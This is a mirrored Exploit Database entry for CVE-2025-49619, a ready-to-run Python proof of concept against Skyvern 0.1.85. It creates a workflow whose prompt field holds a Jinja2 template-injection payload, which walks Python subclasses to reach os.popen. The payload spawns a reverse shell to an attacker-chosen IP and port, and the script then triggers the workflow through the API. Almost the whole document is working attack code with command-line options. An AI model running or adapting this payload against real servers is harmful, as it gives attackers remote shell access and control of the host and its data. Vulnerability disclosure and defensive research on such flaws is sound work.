Skyvern 0.1.85 – Remote Code Execution (RCE) via SSTI

• Exploit Database
• 6 阅读

• 作者： Cristian Branet
  日期： 2025-06-15
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52335/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120

  # Exploit Title: Skyvern 0.1.85 - Remote Code Execution (RCE) via SSTI # Date: 2025-06-15 # Exploit Author: Cristian Branet # Vendor Homepage: https://www.skyvern.com/ # Software Link: https://github.com/Skyvern-AI/skyvern # Version: < 0.1.85, before commit db856cd # Tested on: Skyvern Cloud app / Local Skyvern (Linux Ubuntu 22.04) # CVE : CVE-2025-49619 # Article: https://cristibtz.github.io/posts/CVE-2025-49619/   &apos;&apos;&apos; Skyvern&apos;s Workflow Editor allows prompt injection via Jinja2 template syntax. An attacker with low privileges can inject a malicious payload in a block that contains Prompt section, which gets rendered server-side, resulting in blind remote code execution via curl. &apos;&apos;&apos;   import requests, argparse, pyfiglet   parser = argparse.ArgumentParser(description="This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.", formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument("-u", "--url", required=True, help="Skyvern URL (e.g., http://example.com:8080)") parser.add_argument("-k", "--x-api-key", required=True, help="Go to Skyvern app -> Settings -> API Key -> Reveal and copy the API key") parser.add_argument("-i", "--ip", required=True, help="IP address to receive the reverse shell connection") parser.add_argument("-p", "--port", required=True, help="Port for the reverse shell connection")   def create_exploit_workflow(url, ip, port, x_api_key): exploit_workflow = { "title": "Exploit", "description": "", "proxy_location": "RESIDENTIAL", "webhook_callback_url": "", "persist_browser_session": False, "model": None, "totp_verification_url": None, "workflow_definition": { "parameters": [], "blocks": [ { "label": "block_1", "continue_on_failure": False, "block_type": "task_v2", "prompt": ( "{% for x in ().__class__.__base__.__subclasses__() %}\n" "{% if &apos;warning&apos; in x.__name__ %}\n" "{{ x()._module.__builtins__[&apos;__import__&apos;](&apos;os&apos;).popen(\n" "\"python3 -c &apos;import socket,os,pty;\"\n" "\"s=socket.socket();\"\n" f" \&apos;s.connect((\\\"{ip}\\\",{port}));\&apos;\n" "\"os.dup2(s.fileno(),0);\"\n" "\"os.dup2(s.fileno(),1);\"\n" "\"os.dup2(s.fileno(),2);\"\n" "\"pty.spawn(\\\"sh\\\")&apos;\"\n" ").read() }}\n" "{% endif %}\n" "{% endfor %}" ), "url": "", "max_steps": 25, "totp_identifier": None, "totp_verification_url": None } ] }, "is_saved_task": False }   headers = { "Content-Type": "application/json", "X-API-Key": x_api_key } response = requests.post(f"{url}/api/v1/workflows", json=exploit_workflow, headers=headers)   if response.status_code == 200: print("[+] Exploit workflow created successfully!") else: print("[-] Failed to create exploit workflow:", response.text) return None   workflow_permanent_id = response.json().get("workflow_permanent_id")   print(f"[+] Workflow Permanent ID: {workflow_permanent_id}")   return workflow_permanent_id   def run_exploit_workflow(url, x_api_key, workflow_permanent_id):   workflow_data = { "workflow_id": workflow_permanent_id }   headers = { "Content-Type": "application/json", "X-API-Key": x_api_key } response = requests.post(f"{url}/api/v1/workflows/{workflow_permanent_id}/run", json=workflow_data, headers=headers)   if response.status_code == 200: print("[+] Exploit workflow executed successfully!") else: print("[-] Failed to execute exploit workflow:", response.text)     if __name__=="__main__":   print("\n") print(pyfiglet.figlet_format("CVE-2025-49619 PoC", font="small", width=100)) print("Author: Cristian Branet") print("GitHub: github.com/cristibtz") print("Description: This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.") print("\n")   args = parser.parse_args() url = args.url x_api_key = args.x_api_key ip = args.ip port = args.port   workflow_permanent_id = create_exploit_workflow(url, ip, port, x_api_key)   run_exploit_workflow(url, x_api_key, workflow_permanent_id)